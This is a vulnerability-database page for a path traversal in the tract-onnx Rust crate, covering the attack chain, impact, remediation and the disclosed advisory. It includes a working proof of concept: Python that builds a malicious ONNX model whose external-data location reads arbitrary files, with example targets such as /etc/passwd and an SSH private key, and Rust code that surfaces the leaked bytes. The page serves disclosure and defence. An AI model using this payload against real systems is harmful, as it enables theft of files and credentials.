Skip to main content

tract-onnx CVE-2026-55832

| EUVDEUVD-2026-77721 MEDIUM
Path Traversal (CWE-22)
2026-06-19 https://github.com/sonos/tract GHSA-h668-6x6g-f8r5
6.1
CVSS 3.1 · Vendor: https://github.com/sonos/tract
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Craft evil.onnx with absolute/traversal location field
  2. Delivery
    Distribute via model hub or upload endpoint
  3. Exploit
    Victim loads model via model_for_path()
  4. Execution
    PathBuf::join() resolves to target file path
  5. Persist
    MmapDataResolver reads and copies file bytes into tensor
  6. Impact
    Attacker recovers file contents from inference output

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A01:2025 - Broken Access Control
ASVS 5.0
V5 - File Handling Path canonicalization, traversal prevention
MITRE ATT&CK

2 techniques across 2 tactics: Discovery, Collection

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Exploitation requires that an application calls tract_onnx::onnx().model_for_path() (or equivalent API) on an attacker-controlled or attacker-influenced ONNX model file. The ONNX model must use external tensor data storage (data_location = EXTERNAL in the TensorProto), which is a standard and commonly used ONNX feature for large models. The attacker must be able to supply or influence the content of the .onnx file - the target file path is embedded inside the model. The files that can be read are limited to those accessible to the OS process running the tract inference (process user permissions apply). The attacker must also be able to observe or retrieve the inference output to recover the exfiltrated bytes. Exploitation is NOT limited to network-exposed services; it equally affects offline ML pipelines, developer workstations, and CI/CD systems that load externally sourced models. The DoS (panic) variant additionally requires that the offset + length value in the external_data annotation exceeds the actual file size.

Impact

Despite a moderate CVSS base score of 6.1 (AV:L/AC:L/PR:N/UI:R), the real-world risk is materially higher in the primary threat model of this crate. The AV:L designation reflects that exploitation occurs on the local filesystem, but the attacker does not need local system access - they publish a malicious ONNX model (e.g., to a model hub, shared repository, or upload endpoint) and trigger exploitation when a victim loads it. This is a supply-chain/untrusted-model-loading threat, not a traditional local attacker scenario. A full working PoC was included in the disclosure and confirmed on crates.io version 0.21.16. EPSS data was not provided, but the existence of a working PoC and the prevalence of model-hub workflows in ML pipelines elevate real-world risk significantly above what AV:L alone implies. The confidentiality impact is rated High (arbitrary file read limited only by process permissions), there is no integrity impact, and availability impact is Low (DoS via panic). The 'RCE' tag in the source data is incorrect - the vulnerability description and PoC explicitly confirm no code execution or write capability. KEV status is not confirmed, suggesting exploitation has not yet been widely observed.

Exploit ScenarioDerived

An attacker publishes a malicious ONNX model (evil.onnx) to a public model hub or submits it as a user upload to a platform using tract-onnx for inference. The model contains a UINT8 tensor whose external_data.location is set to /etc/passwd (absolute path override) or ../../../../home/user/.ssh/id_rsa (directory traversal). When a developer or automated pipeline calls model_for_path("evil.onnx") using the standard tract-onnx API, the library opens and mmap-reads the target file, and its contents are returned as tensor output bytes recoverable by the caller. A full working PoC demonstrating this exact scenario was published alongside the advisory and confirmed on tract-onnx 0.21.16.

This Month Plan within 30 days. Why: MEDIUM severity (CVSS 4.0-6.9).
Patch available 0.2% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Jun 19, 2026

Arbitrary local file disclosure in the Rust crate tract-onnx (by Sonos) allows an attacker who supplies a malicious ONNX model file to read arbitrary files from the victim's filesystem at model-load time, with file contents surfaced directly in inference tensor output. The root cause is that get_external_resources() in onnx/src/tensor.rs passes the attacker-controlled location field of ONNX external-data tensors directly to PathBuf::join() without sanitization, enabling both absolute-path overrides and relative ../ traversal. A secondary denial-of-service (panic) is possible via out-of-bounds offset/length values. Publicly available exploit code exists (full PoC confirmed on tract-onnx 0.21.16); no active exploitation has been confirmed by CISA KEV at time of analysis.

RemediationAI

Upgrade tract-onnx to a patched release: 0.21.17 for the 0.21.x line, 0.22.3 for the 0.22.x line, or 0.23.2 for the 0.23.x line. The fix should implement the mitigations described in the advisory: reject location values that are absolute paths or contain .. components, canonicalize the resolved path, and verify it stays within the model directory (mirroring the approach taken in the reference onnx Python library at version 1.22.0), reject symlinks, and validate offset/length against actual file size before slicing. If immediate upgrade is not possible, the primary compensating control is to restrict which ONNX models are loaded - only load models from fully trusted, verified sources and never load user-supplied or third-party models without validation. Sandboxing the inference process (e.g., seccomp, container with read-only filesystem restricted to the model directory, or running without access to sensitive paths) limits what files can be exfiltrated, at the cost of operational complexity. There is no known configuration flag to disable external-data resolution within the library itself prior to patching. See https://github.com/sonos/tract/security/advisories/GHSA-h668-6x6g-f8r5 for full details.

Affected VersionsENISA

tract < 0.21.17
tract 0.23.0, < 0.23.2
tract 0.22.0, < 0.22.3

Affected Packages

cargo tract-onnx fix: 0.21.17, 0.22.3, 0.23.2
euvd tract fix: 0.21.17, 0.22.3, 0.23.2

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 2 packages in cargo, euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

tract-onnx (crate tract-onnx, pkg:rust/tract-onnx) is a Rust inference engine for ONNX models. The ONNX format supports external tensor data stored in separate files, referenced via a location field in the TensorProto.external_data protobuf structure. In onnx/src/tensor.rs, get_external_resources() constructs the file path as PathBuf::from(model_dir).join(location) where location is taken verbatim from the untrusted .onnx file. Rust's Path::join() silently discards the base path when the argument is absolute (e.g., /etc/passwd), and does not normalize .. components for relative traversal. The MmapDataResolver in onnx/src/data_resolver.rs then memory-maps and slices the resolved file, copying bytes into the tensor with no bounds check before slicing, causing a panic on out-of-range offset/length. The root cause class is CWE-22 (Path Traversal). This is the same class of flaw that the reference ONNX Python library addressed over multiple CVEs; tract-onnx implemented its own resolver and was never hardened.

Know when Python gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (https://github.com/sonos/tract) PRIMARY 6.1 MEDIUM
AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:L
vuln.today AI 7.1 HIGH

AV:N because the malicious model is delivered over the internet (model hubs); UI:R because the victim must load it; no write or code execution impact.

3.1 AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:L
4.0 AV:N/AC:L/AT:N/PR:N/UI:A/VC:H/VI:N/VA:L/SC:N/SI:N/SA:N

Primary rating from Vendor (https://github.com/sonos/tract).

CVSS VectorVendor: https://github.com/sonos/tract

Attack Vector
Local
Attack Complexity
Low
Privileges Required
None
User Interaction
Required
Scope
Unchanged
Confidentiality
High
Integrity
None
Availability
Low

DescriptionCVE.org

Summary

tract (the tract-onnx crate) resolves an ONNX tensor's external-data location by joining it onto the model directory without any sanitization. Because location comes from the (untrusted) .onnx file, a malicious model can make tract open and read an arbitrary local file at load time, with the file's contents flowing into the model's tensors / inference output (read-only file disclosure). This is the ONNX external-data path-traversal class that the reference onnx library hardened over several CVEs; tract resolves location itself and was never hardened.

Details

In onnx/src/tensor.rs, get_external_resources() builds the path with no checks:

rust
let location = /* tensor.external_data "location" value - attacker-controlled */;
let p = PathBuf::from(path).join(location);          // no is_absolute / ".." / canonicalize / containment check
provider.read_bytes_from_path(&mut tensor_data, &p, offset, length)?;   // Mmap::map(File::open(p)) by default
  • Path::join with an absolute location (e.g. /etc/passwd) discards the base directory → p = /etc/passwd.
  • A relative ../../../../etc/passwd value is not normalized → directory traversal.
  • The default MmapDataResolver (onnx/src/data_resolver.rs) then mmaps the file and copies mmap[offset..offset+length] into the tensor. offset/length are also taken from the file; an out-of-range slice panics (DoS).

No is_absolute, .., canonicalize, or containment check exists anywhere on this path (tensor.rs, model.rs, data_resolver.rs).

Reachable from the standard public API: model_for_path(p) (onnx/src/model.rs) sets model_dir = p.parent() and calls load_tensor(proto, model_dir) → get_external_resources(.., model_dir).

PoC

Tested on tract-onnx 0.21.16 (crates.io), Rust 1.96.

  1. A canary file the model must not be able to read:

/tmp/tract_canary_secret.txt → TRACT-EXTDATA-TRAVERSAL-CANARY-7f3a2b

  1. Build a small evil.onnx with a UINT8[37] initializer whose external_data is location=/tmp/tract_canary_secret.txt (absolute), offset=0, length=37, fed through Identity to the output (raw protobuf serialization):
python
import onnx
from onnx import helper, TensorProto, StringStringEntryProto
N = 37; LOC = "/tmp/tract_canary_secret.txt"
# absolute -> Path::join discards the base dir
w = TensorProto(); w.name = "W"; w.data_type = TensorProto.UINT8
w.dims.extend([N]); w.data_location = TensorProto.EXTERNAL
for k, v in [("location", LOC), ("offset", "0"), ("length", str(N))]:
    e = StringStringEntryProto(); e.key = k; e.value = v; w.external_data.append(e)
node = helper.make_node("Identity", ["W"], ["Y"])
out = helper.make_tensor_value_info("Y", TensorProto.UINT8, [N])
g = helper.make_graph([node], "g", [], [out], initializer=[w])
m = helper.make_model(g, opset_imports=[helper.make_opsetid("", 13)])
open("evil.onnx", "wb").write(m.SerializeToString())
  1. Victim loads the untrusted model with the standard API:
rust
let model = tract_onnx::onnx().model_for_path("evil.onnx")?;
let out = model.into_optimized()?.into_runnable()?.run(tvec!())?;
let bytes: Vec<u8> = out[0].to_array_view::<u8>()?.iter().cloned().collect();
println!("{:?}", String::from_utf8_lossy(&bytes));

Output:

"TRACT-EXTDATA-TRAVERSAL-CANARY-7f3a2b"

i.e. the contents of the arbitrary local file were read by tract and surfaced in the inference output.

Impact

Read-only arbitrary local file disclosure when an application uses tract to load an untrusted or shared ONNX model (model hubs, multi-file repos, user uploads). The file content is recoverable from the model's tensors / inference output. Secondary: denial of service (panic) via out-of-bounds offset/length. No write or code execution.

Suggested fix

Reject absolute location and any .. component, then canonicalize and verify the resolved path stays within the model directory (mirroring onnx 1.22.0's resolve_external_data_location); reject symlinks; validate offset/length against the file size before slicing.

Threat Intelligence Overview

EPSS Score
0.2%
Top 85% exploitable
Threat Intel
1
1 source
Social Media
1
Sightings
Data Quality
5 sources
Confidence: Medium

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity MEDIUM
CISA KEV No
Public POC No
EPSS 0.2%
Patch available Yes
Active threat No
Deciding rule
MEDIUM severity (CVSS 4.0-6.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Defer
Exploitation· derived
None
System Exposure· derived
Small
Automatable· derived
No
Human Impact· derived
Medium

Priority Score

30
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +30
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Path traversal exploits occur when applications use user-controlled input to construct file system paths without proper validation.

Remote Code Execution represents the critical moment when an attacker successfully runs arbitrary code on a target system without physical access.

Denial of Service attacks render applications or systems unavailable by overwhelming resources or triggering failure conditions.

More in Python

View all
CVE-2025-24016 CRITICAL POC
9.9 Feb 10

Wazuh SIEM platform versions 4.4.0 through 4.9.0 contain an unsafe deserialization vulnerability in the DistributedAPI t

CVE-2025-27520 CRITICAL POC
9.8 Apr 04

BentoML version 1.4.2 and earlier contains an unauthenticated remote code execution vulnerability through insecure deser

CVE-2025-2945 CRITICAL POC
9.9 Apr 03

pgAdmin 4 contains critical remote code execution vulnerabilities in the Query Tool download and Cloud Deployment endpoi

CVE-2013-5093 MEDIUM POC
6.8 Sep 27

The renderLocalView function in render/views.py in graphite-web in Graphite 0.9.5 through 0.9.10 uses the pickle Python

CVE-2025-32375 CRITICAL POC
9.8 Apr 09

BentoML is a Python library for building online serving systems optimized for AI apps and model inference. Rated critica

CVE-2014-0224 HIGH POC
7.4 Jun 05

OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h does not properly restrict processing of ChangeCiph

CVE-2024-21644 HIGH POC
7.5 Jan 08

pyLoad download manager version prior to 0.5.0b3.dev77 exposes the Flask SECRET_KEY through an unauthenticated endpoint.

CVE-2026-33017 CRITICAL POC
9.3 Mar 17

Langflow (a visual LLM pipeline builder) contains a critical unauthenticated code execution vulnerability (CVE-2026-3301

CVE-2017-9462 HIGH POC
8.8 Jun 06

In Mercurial before 4.1.3, "hg serve --stdio" allows remote authenticated users to launch the Python debugger, and conse

CVE-2026-49869 CRITICAL POC
10.0 Jun 26

Unauthenticated remote code execution affects Kestra OSS (the open-source event-driven orchestration platform) prior to

CVE-2026-39987 CRITICAL POC
9.3 Apr 08

Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the `/

CVE-2024-21645 MEDIUM POC
5.3 Jan 08

pyLoad is the free and open-source Download Manager written in pure Python. Rated medium severity (CVSS 5.3), this vulne

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy